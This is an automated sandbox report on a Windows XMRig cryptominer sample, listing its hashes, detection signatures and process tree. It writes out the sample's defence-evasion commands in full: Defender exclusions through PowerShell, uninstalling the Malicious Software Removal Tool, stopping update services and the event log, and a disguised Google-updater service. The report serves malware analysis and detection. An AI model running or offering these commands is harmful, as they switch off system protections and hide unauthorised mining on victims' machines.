Analysis
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max time kernel
149s -
max time network
148s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
03-08-2024 01:37
Behavioral task
behavioral1
Sample
7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe
Resource
win7-20240704-en
General
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Target
7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe
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Size
9.2MB
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MD5
4ab8ccecd4a134b37a1141b515371b66
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SHA1
d0ebd671b85d91b7e4405e78dc8de723c23ee99d
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SHA256
7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8
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SHA512
249ed30e142530b006958605f9f31f6d9fcf39b412e4ef1b2040887ed7020363749ce89150c4c35a3b4a92a7e6955775dc9f7c0246034fe18909c39bdb121ecd
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SSDEEP
196608:cezNzOtuVXR6GWycUnkD8/04pUh76TBFx:ce5XBWycUnkD8/jps7cB
Malware Config
Signatures
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XMRig Miner payload 9 IoCs
Processes:
resource yara_rule behavioral1/memory/1280-55-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1280-54-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1280-57-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1280-61-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1280-60-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1280-59-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1280-58-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1280-62-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1280-63-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepid Process 2800 powershell.exe 1936 powershell.exe -
Creates new service(s) 2 TTPs
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Drops file in Drivers directory 2 IoCs
Processes:
7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exeUpdater.exedescription ioc Process File created C:\Windows\system32\drivers\etc\hosts 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe File created C:\Windows\system32\drivers\etc\hosts Updater.exe -
Executes dropped EXE 2 IoCs
Processes:
Updater.exepid Process 472 1896 Updater.exe -
Loads dropped DLL 1 IoCs
Processes:
pid Process 472 -
Processes:
resource yara_rule behavioral1/memory/1280-51-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1280-49-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1280-55-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1280-53-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1280-54-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1280-52-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1280-57-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1280-61-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1280-60-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1280-59-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1280-58-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1280-50-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1280-62-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1280-63-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Processes:
resource yara_rule behavioral1/memory/2564-5-0x000000013F1E0000-0x000000014038E000-memory.dmp vmprotect behavioral1/memory/2564-8-0x000000013F1E0000-0x000000014038E000-memory.dmp vmprotect behavioral1/files/0x0008000000016d2a-24.dat vmprotect behavioral1/memory/2564-28-0x000000013F1E0000-0x000000014038E000-memory.dmp vmprotect behavioral1/memory/1896-35-0x000000013F710000-0x00000001408BE000-memory.dmp vmprotect -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
Processes:
powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepid Process 2892 powercfg.exe 2264 powercfg.exe 2208 powercfg.exe 2640 powercfg.exe 2228 powercfg.exe 2484 powercfg.exe 3048 powercfg.exe 2260 powercfg.exe -
Drops file in System32 directory 4 IoCs
Processes:
Updater.exepowershell.exe7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exepowershell.exedescription ioc Process File opened for modification C:\Windows\system32\MRT.exe Updater.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
Updater.exedescription pid Process procid_target PID 1896 set thread context of 2500 1896 Updater.exe 84 PID 1896 set thread context of 1280 1896 Updater.exe 86 -
Drops file in Windows directory 2 IoCs
Processes:
wusa.exewusa.exedescription ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid Process 3032 sc.exe 2664 sc.exe 708 sc.exe 2496 sc.exe 1720 sc.exe 2972 sc.exe 2380 sc.exe 1812 sc.exe 1436 sc.exe 2584 sc.exe 2712 sc.exe 2196 sc.exe 1848 sc.exe 576 sc.exe -
Modifies data under HKEY_USERS 6 IoCs
Processes:
explorer.exepowershell.exedescription ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs explorer.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs explorer.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30330bd045e5da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT explorer.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates explorer.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exepowershell.exeUpdater.exepowershell.exeexplorer.exepid Process 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 2800 powershell.exe 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 2564 7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe 1896 Updater.exe 1896 Updater.exe 1936 powershell.exe 1896 Updater.exe 1896 Updater.exe 1896 Updater.exe 1896 Updater.exe 1896 Updater.exe 1896 Updater.exe 1896 Updater.exe 1896 Updater.exe 1896 Updater.exe 1896 Updater.exe 1896 Updater.exe 1896 Updater.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe 1280 explorer.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exeexplorer.exedescription pid Process Token: SeDebugPrivilege 2800 powershell.exe Token: SeShutdownPrivilege 2264 powercfg.exe Token: SeShutdownPrivilege 2640 powercfg.exe Token: SeShutdownPrivilege 2208 powercfg.exe Token: SeShutdownPrivilege 2892 powercfg.exe Token: SeDebugPrivilege 1936 powershell.exe Token: SeShutdownPrivilege 2228 powercfg.exe Token: SeShutdownPrivilege 2484 powercfg.exe Token: SeShutdownPrivilege 3048 powercfg.exe Token: SeShutdownPrivilege 2260 powercfg.exe Token: SeLockMemoryPrivilege 1280 explorer.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
cmd.execmd.exeUpdater.exedescription pid Process procid_target PID 2624 wrote to memory of 2596 2624 cmd.exe 38 PID 2624 wrote to memory of 2596 2624 cmd.exe 38 PID 2624 wrote to memory of 2596 2624 cmd.exe 38 PID 2848 wrote to memory of 1052 2848 cmd.exe 68 PID 2848 wrote to memory of 1052 2848 cmd.exe 68 PID 2848 wrote to memory of 1052 2848 cmd.exe 68 PID 1896 wrote to memory of 2500 1896 Updater.exe 84 PID 1896 wrote to memory of 2500 1896 Updater.exe 84 PID 1896 wrote to memory of 2500 1896 Updater.exe 84 PID 1896 wrote to memory of 2500 1896 Updater.exe 84 PID 1896 wrote to memory of 2500 1896 Updater.exe 84 PID 1896 wrote to memory of 2500 1896 Updater.exe 84 PID 1896 wrote to memory of 2500 1896 Updater.exe 84 PID 1896 wrote to memory of 2500 1896 Updater.exe 84 PID 1896 wrote to memory of 2500 1896 Updater.exe 84 PID 1896 wrote to memory of 1280 1896 Updater.exe 86 PID 1896 wrote to memory of 1280 1896 Updater.exe 86 PID 1896 wrote to memory of 1280 1896 Updater.exe 86 PID 1896 wrote to memory of 1280 1896 Updater.exe 86 PID 1896 wrote to memory of 1280 1896 Updater.exe 86
Processes
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C:\Users\Admin\AppData\Local\Temp\7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe"C:\Users\Admin\AppData\Local\Temp\7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8.exe"1⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2564 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2800
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2596
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:3032
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2712
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2664
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2196
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1848
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2892
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2640
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2264
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2208
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"2⤵
- Launches sc.exe
PID:576
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"2⤵
- Launches sc.exe
PID:708
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1720
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"2⤵
- Launches sc.exe
PID:1812
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C:\ProgramData\GoogleUP\Chrome\Updater.exeC:\ProgramData\GoogleUP\Chrome\Updater.exe1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1896 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1936
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1052
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2972
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1436
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2380
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2496
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2584
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2228
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2484
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2260
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3048
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2500
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C:\Windows\explorer.exeexplorer.exe2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1280
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD53e9af076957c5b2f9c9ce5ec994bea05
SHA1a8c7326f6bceffaeed1c2bb8d7165e56497965fe
SHA256e332ebfed27e0bb08b84dfda05acc7f0fa1b6281678e0120c5b7c893a75df47e
SHA512933ba0d69e7b78537348c0dc1bf83fb069f98bb93d31c638dc79c4a48d12d879c474bd61e3cbde44622baef5e20fb92ebf16c66128672e4a6d4ee20afbf9d01f
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Filesize
9.2MB
MD54ab8ccecd4a134b37a1141b515371b66
SHA1d0ebd671b85d91b7e4405e78dc8de723c23ee99d
SHA2567059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8
SHA512249ed30e142530b006958605f9f31f6d9fcf39b412e4ef1b2040887ed7020363749ce89150c4c35a3b4a92a7e6955775dc9f7c0246034fe18909c39bdb121ecd